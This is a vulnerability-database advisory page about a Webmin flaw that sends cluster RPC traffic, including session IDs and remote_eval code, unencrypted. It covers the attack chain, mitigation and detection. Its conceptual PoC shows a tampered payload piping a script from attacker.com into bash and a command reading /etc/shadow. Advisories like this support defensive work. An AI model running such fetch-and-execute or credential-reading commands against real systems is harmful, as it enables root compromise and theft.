CVE Professor
/
All CVEs
CVE-2026-134647

CVE-2026-134647 — CWE-319

HIGH CVSS 7.5 ⚡ EPSS 0.4% NVD

Webmin through 2.670 contains a cleartext transmission vulnerability in web-lib-funcs.pl and fastrpc.cgi that sends cluster RPC traffic over raw TCP despite SSL configuration. Network-positioned attackers can read the session ID and remote_eval payloads or alter calls in transit to execute code as root on managed servers.

Webmin through 2.670 contains a cleartext transmission vulnerability in web-lib-funcs.pl and fastrpc.cgi that sends cluster RPC traffic over raw TCP despite SSL configuration. Network-positioned attackers can read the session ID and remote_eval payloads or alter calls in transit to execute code as root on managed servers.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 26. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-134647 is a Cleartext Transmission of Sensitive Information (CWE-319) vulnerability in Webmin versions up to and including 2.670.

The core technical flaw lies in the interaction between the Webmin cluster management module and its underlying RPC (Remote Procedure Call) mechanism. Specifically, the files web-lib-funcs.pl and fastrpc.cgi are responsible for handling communication with remote servers in a Webmin cluster.

Despite the Webmin interface being configured to use SSL/TLS for the primary web session, the internal RPC traffic generated by these scripts is transmitted over raw, unencrypted TCP sockets. This creates a "split-channel" security failure:
1. The user authenticates securely via HTTPS.
2. The browser sends commands to fastrpc.cgi over HTTPS.
3. fastrpc.cgi (or the library it calls, web-lib-funcs.pl) opens a new, separate TCP connection to the target cluster node to execute the command.
4. This secondary connection is not encrypted, exposing the session ID and the remote_eval payload (which contains the actual command to be executed) to anyone on the network path.

This is not a traditional injection vulnerability (like SQLi or XSS) but a transport-layer security bypass. The application logic assumes that because the web interface is secure, the backend communication is also secure, which is false in this implementation.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Service Identification: An attacker scans for Webmin services, typically running on port 10000/TCP (default) or custom ports.
  • Version Fingerprinting: Using tools like nmap with the http-enum script or manual HTTP requests to /login.html, the attacker identifies the Webmin version. If the version is ≤ 2.670, the target is vulnerable.
  • Network Positioning: The attacker must be in a position to intercept traffic between the Webmin server and the cluster nodes. This could be:
  • * A compromised host on the same LAN. * A rogue ARP responder (ARP spoofing). * A compromised network switch or router. * A man-in-the-middle (MitM) position in a DMZ or internal network segment.

    2. Exploitation

    The attacker does not need to authenticate to Webmin directly. Instead, they perform a Man-in-the-Middle (MitM) attack on the RPC channel.

    Step-by-Step Mechanics:
    1. Interception: The attacker sets up a proxy or uses ARP spoofing to intercept TCP traffic between the Webmin server (acting as the RPC client) and the target cluster node (acting as the RPC server).
    2. Session Hijacking/Replay: The attacker captures the cleartext RPC traffic. This traffic contains:
    * A Session ID (used for authentication on the RPC channel).
    * remote_eval payloads: These are Perl code snippets or shell commands that Webmin sends to be executed on the remote node.
    3. Payload Injection/Modification:
    * Read: The attacker can read sensitive data being transmitted (e.g., configuration files, user lists).
    * Write/Execute: The attacker can modify the remote_eval payload in transit. For example, if the legitimate command is ls /etc, the attacker can change it to id; whoami; cat /etc/shadow.
    * Injection: The attacker can inject entirely new remote_eval commands into the stream, leveraging the valid session ID to bypass authentication on the RPC channel.

    Illustrative PoC (Conceptual):
    Note: The exact RPC protocol format is proprietary to Webmin. The following is an illustrative example of the traffic pattern an attacker would target.

    # Attacker uses a tool like `tcpdump` or a custom Python script to capture traffic
    # on the network segment between Webmin and the cluster node.
    
    # Example captured cleartext RPC packet (simplified):
    # TCP 192.168.1.10:54321 -> 192.168.1.20:10000
    # Payload:
    # SESSION_ID: abc123xyz
    # ACTION: remote_eval
    # CODE: print "Hello from Webmin"
    
    # Attacker modifies the payload in transit using a proxy (e.g., mitmproxy):
    # SESSION_ID: abc123xyz
    # ACTION: remote_eval
    # CODE: system("curl http://attacker.com/shell.sh | bash")

    Key Technical Detail: The vulnerability is in fastrpc.cgi and web-lib-funcs.pl. These scripts likely use Perl's IO::Socket::INET or similar modules to open a raw TCP socket to the remote node without wrapping it in IO::Socket::SSL. The CVSS vector UI:R (User Interaction Required) suggests that the attacker needs to trigger the RPC call, which happens when an administrator performs an action in the Webmin UI that involves cluster management (e.g., "Run Command on All Nodes").

    3. Post-Exploitation

  • Root Execution: Webmin typically runs as root or has sudo privileges. The remote_eval function executes commands with the privileges of the Webmin service account. If Webmin is running as root, the attacker achieves root RCE on the target cluster node.
  • Persistence: The attacker can install backdoors, modify /etc/crontab, or add SSH keys.
  • Lateral Movement: With root access on one node, the attacker can pivot to other nodes in the cluster or the broader network.
  • 🌍 Real World Impact

  • Confidentiality (High): Attackers can read all data transmitted over the RPC channel, including sensitive configuration data, user credentials (if transmitted in cleartext), and system information.
  • Integrity (High): Attackers can modify RPC calls to execute arbitrary commands, altering system configurations, deleting files, or installing malware.
  • Availability (High): Attackers can execute commands to crash services, delete critical files, or shut down the server.
  • Practical Consequences:

  • Cluster Compromise: In a Webmin-managed cluster, a single MitM attack can compromise all nodes in the cluster.

  • Root Access: Since Webmin often runs with elevated privileges, this leads to full system compromise.

  • Trust Violation: Administrators may believe their cluster is secure because the Webmin UI is HTTPS, but the underlying management channel is insecure.
  • 🛡️ Remediation & Mitigation

    1. Upgrade

  • Affected Versions: Webmin through 2.670.
  • Recommendation: Upgrade to the latest version of Webmin (post-2.670) where the RPC traffic is encrypted (likely via SSL/TLS or a secure tunnel). Check the Webmin changelog for the specific version that fixes this issue.
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • Network Segmentation: Isolate the Webmin server and cluster nodes in a dedicated, trusted network segment with strict firewall rules. Ensure that only the Webmin server can initiate TCP connections to the cluster nodes on the RPC port (typically 10000 or custom).
  • Disable Cluster Management: If cluster management is not required, disable the cluster module in Webmin. This can be done by:
  • * Removing the cluster module from the Webmin configuration. * Blocking the RPC port (e.g., 10000) between the Webmin server and cluster nodes using firewall rules (iptables/nftables).
  • Use SSH Tunneling: Configure the cluster nodes to use SSH tunneling for RPC traffic instead of raw TCP. This may require custom configuration or a newer version of Webmin that supports this feature.
  • 3. Detection

  • Network Monitoring: Monitor for cleartext TCP traffic on the Webmin RPC port (e.g., 10000) between the Webmin server and cluster nodes. Use tools like Zeek or Suricata to detect non-SSL traffic on this port.
  • Log Analysis: Review Webmin logs (/var/log/webmin.log) for unusual remote_eval commands. Look for commands that do not match typical administrative actions.
  • File Integrity Monitoring (FIM): Monitor for unexpected changes to system files, cron jobs, or SSH keys on cluster nodes.
  • Example Suricata Rule (Illustrative):

    alert tcp $HOME_NET any -> $EXTERNAL_NET 10000 (msg:"Potential Cleartext Webmin RPC Traffic"; flow:to_server; content:"SESSION_ID"; nocase; classtype:policy-violation; sid:1000001; rev:1;)

    Note: This rule is illustrative. The exact port and content may vary. Adjust based on your environment.

    ⚠️ Urgency

  • CVSS Score: 7.5 (High)
  • CISA KEV: No
  • Exploit Complexity: High (Requires MitM position and user interaction)
  • Patching Priority: High
Rationale: While the exploit complexity is high (requiring a network-positioned attacker and user interaction), the impact is severe (root RCE on cluster nodes). In environments where Webmin is used for managing critical infrastructure, this vulnerability poses a significant risk. Attackers with internal network access (e.g., via a compromised endpoint) can exploit this vulnerability to gain persistent root access.

Recommendation:
1. Immediate: Isolate Webmin and cluster nodes in a trusted network segment.
2. Short-term: Upgrade Webmin to the latest version.
3. Long-term: Implement network segmentation and monitoring for cleartext RPC traffic.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
webmin/webmin Reference
Technical reference / advisory repository for CVE-2026-134647
Technical reference / advisory repository for CVE-2026-134647
Technical reference / advisory repository for CVE-2026-134647
Technical reference / advisory repository for CVE-2026-134647
Technical reference / advisory repository for CVE-2026-134647
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-319
Related CVEs
7.3
CVE-2026-145020
SiYuan from 3.8.7 before 3.8.11 contains a TLS enforcement bypass vulnerability that allows remote attackers t
7.4
CVE-2026-132828
Cleartext Transmission of Sensitive Information vulnerability in Apache Camel Vertx HTTP component. This is
6.0
CVE-2026-144228
Electrum before 4.7.2 starts a full JSON-RPC server in GUI mode over cleartext HTTP, allowing local users to c
4.8
CVE-2026-107486
Cleartext Transmission of Sensitive Information vulnerability in Apache Camel Thrift component. This issue
8.2
CVE-2026-138727
An uncontrolled resource consumption vulnerability in WatchGuard Endpoint Security's HTTP communications compo
7.5
CVE-2026-59435
Spring Cloud Config Server includes the full URI of its backend repository in the name of every property sourc
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner